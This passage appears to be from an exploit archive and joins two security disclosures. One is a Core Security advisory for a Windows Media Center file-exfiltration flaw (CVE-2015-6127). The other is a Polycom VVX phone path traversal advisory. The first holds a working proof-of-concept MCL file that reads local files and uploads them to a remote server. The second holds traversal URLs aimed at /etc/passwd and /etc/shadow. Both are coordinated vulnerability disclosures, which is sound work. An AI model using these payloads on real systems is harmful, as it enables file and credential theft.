5. Vendor Information, Solutions and Workarounds

Microsoft posted the following Security Bulletin: MS15-134 [2]

6. Credits

This vulnerability was discovered and researched by Francisco Falcon from Core Exploits Team. The publication of this advisory was coordinated by Joaquín Rodríguez Varela from the Core Advisories Team.

 

7. Technical Description / Proof of Concept Code

The ehexthost.exe binary, part of Windows Media Center, loads the given URL into an embedded instance of Internet Explorer running in the local machine zone, but it doesn't opt-in for the FEATURE_LOCALMACHINE_LOCKDOWN IE security feature, therefore this situation can be leveraged by an attacker to read and exfiltrate arbitrary files from a victim's local filesystem by convincing him to open a malicious MCL file.

The proof-of-concept shows an MCL file with embedded HTML + JS code, referencing itself in the 'url' parameter. Unlike what happens when loading a local HTML file into Internet Explorer 11, the JS code included here will automatically run with no prompts, and it will be able to read arbitrary local files using the MSXML2.XMLHTTP ActiveX object. Those read files then can be uploaded to an arbitrary remote web server.

Also note that, in order for the PoC to work, the value of the 'url' parameter must match the name of the MCL file.

7.1. Proof of Concept

A new file should be created with the name "poc-microsoft.mcl" and with the following content:

 
<application url="poc-microsoft.mcl"
name="Showcase"
bgcolor="RGB(255,255,255)"
sharedviewport="false">
<html>
<head>
<meta http-equiv="x-ua-compatible" content="IE=edge" >
</head>
<body>
<script type="text/javascript">

    function do_upload(fname, data){
        var xmlhttp = new XMLHttpRequest();
        xmlhttp.open("POST", "http://192.168.1.50/uploadfile.php", true);
        xmlhttp.setRequestHeader("Content-type", "multipart/form-data");
        xmlhttp.setRequestHeader("Connection", "close");
        xmlhttp.onreadystatechange = function(){if (xmlhttp.readyState == 4){alert(fname + " done.");}}
        xmlhttp.send(new Uint8Array(data));
    }


    function read_local_file(filename){
        /* Must use this one, XMLHttpRequest() doesn't allow to read local files */
        var xmlhttp = new ActiveXObject("MSXML2.XMLHTTP");
        xmlhttp.open("GET", filename, false);
        xmlhttp.send();
        return xmlhttp.responseBody.toArray();
    }


    function upload_file(filename){
        try{
            do_upload(filename, read_local_file(filename));
        }catch(e){
            alert(filename + " error: " + e);
        }
    }


    upload_file("file:///C:/Windows/System32/calc.exe");

</script>
</body>
</html>

</application>
     
 

8. Report Timeline

2015-09-24: Core Security sent the first notification to Microsoft.
2015-09-24: Microsoft acknowledged receipt of the email and requested a draft version of the advisory.
2015-09-25: Core Security sent Microsoft the draft version of the advisory including a PoC.
2015-09-25: Microsoft cased the report under MSRC 31305.
2015-10-02: Core Security requested Microsoft provide a status update and confirmation of the reported bug.
2015-10-02: Microsoft informed Core Security that they were able to reproduce the issue. They were still reviewing it to determine if they would address it in a security release.
2015-10-07: Core Security requested Microsoft let us know once they made a decision.
2015-10-08: Microsoft informed Core Security they would keep us updated.
2015-10-26: Core Security asked Microsoft if there were any updates regarding the reported bug and if they had an estimated time of availability.
2015-10-27: Microsoft informed Core Security that they would be pursuing a fix for the reported issue and are working on a release date for it.
2015-11-05: Core Security asked Microsoft if they had determined a release date for the fix and a CVE ID to the reported vulnerability.
2015-11-10: Microsoft informed Core Security that they were targeting the security fix for this issue in their December release. They also informed us that they assigned CVE-2015-6127 to this case.
2015-11-11: Core Security thanked Microsoft for their reply and clarified that we would be publishing the advisory on Tuesday, the 8 of December, 2015.
2015-11-12: Microsoft requested from Core Security the link where the advisory would be published and the name of the researcher that should appear in the acknowledgment.
2015-11-13: Core Security informed Microsoft of the link and name that should appear in the acknowledgment.
2015-11-16: Microsoft informed Core Security that they updated the CVE acknowledgment accordingly.
2015-12-08: Advisory CORE-2015-0014 published.
9. References

[1] http://www.microsoft.com/. 
[2] https://technet.microsoft.com/library/security/MS15-134.

10. About CoreLabs

CoreLabs, the research center of Core Security, is charged with anticipating the future needs and requirements for information security technologies. We conduct our research in several important areas of computer security including system vulnerabilities, cyber attack planning and simulation, source code auditing, and cryptography. Our results include problem formalization, identification of vulnerabilities, novel solutions and prototypes for new technologies. CoreLabs regularly publishes security advisories, technical papers, project information and shared software tools for public use at: http://corelabs.coresecurity.com.

11. About Core Security

Core Security enables organizations to get ahead of threats with security test and measurement solutions that continuously identify and demonstrate real-world exposures to their most critical assets. Our customers can gain real visibility into their security standing, real validation of their security controls, and real metrics to more effectively secure their organizations.

Core Security's software solutions build on over a decade of trusted research and leading-edge threat expertise from the company's Security Consulting Services, CoreLabs and Engineering groups. Core Security can be reached at +1 (617) 399-6980 or on the Web at: http://www.coresecurity.com.

12. Disclaimer

The contents of this advisory are copyright (c) 2015 Core Security and (c) 2015 CoreLabs, and are licensed under a Creative Commons Attribution Non-Commercial Share-Alike 3.0 (United States) License: http://creativecommons.org/licenses/by-nc-sa/3.0/us/

13. PGP/GPG Keys

This advisory has been signed with the GPG key of Core Security advisories team, which is available for download at http://www.coresecurity.com/files/attachments/core_security_advisories.asc.



_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/
HireHackking 
Polycom VVX-Series Business Media Phones Path Traversal Vulnerability

--Summary--

Polycom VVX-series Business Media Phones allow authenticated users to execute file path traversal attacks

# Polycom
# http://www.polycom.com

--Affects--

# Polycom VVX 101, 201, 300, 310, 400, 410, 500, 600, & 1500
# UC Software 4.1.8 and earlier, 5.2.3 and earlier, 5.3.1 and earlier, 5.4.0 and earlier

--Details--

Polycom VVX-series IP phones provide a web administrative interface. Inside this interface we discovered two URLs that exposed a "file=filename" parameters. Due to unsafe file system operations in this interface, it is possible to exploit the following pages, and possibly others, using path traversal attacks:

http://a.b.c.d/Preferences/Ringtone?file=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd

http://a.b.c.d/Preferences/Background?file=.%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fshadow

--Mitigation--

Upgrade to the latest version of UC Software available.
Disable or restrict access to the web interface.

--Timeline--

# 6/16/2015: Notified Polycom about the issue
# 6/17/2015: Polycom responds, indicates it is investigating
# 6/18/2015: Polycom acknowledges vulnerability legitimacy
# 6/26/2015: Polycom waiting on estimate for fix from engineering
# 7/22/2015: Polycom provides with projected timelines for fixes
# 11/24/2015: Polycom confirms all VVX branches are patched
# 12/9/2015: Polycom issues public vulnerability advisory

--References--

https://depthsecurity.com/blog/polycom-vvx-series-business-media-phones-path-traversal-vulnerability 

http://supportdocs.polycom.com/PolycomService/support/global/documents/support/documentation/VVX_Path_Traversals_v_1_0.pdf

Jake Reynolds
Partner/Principal Consultant
www.depthsecurity.com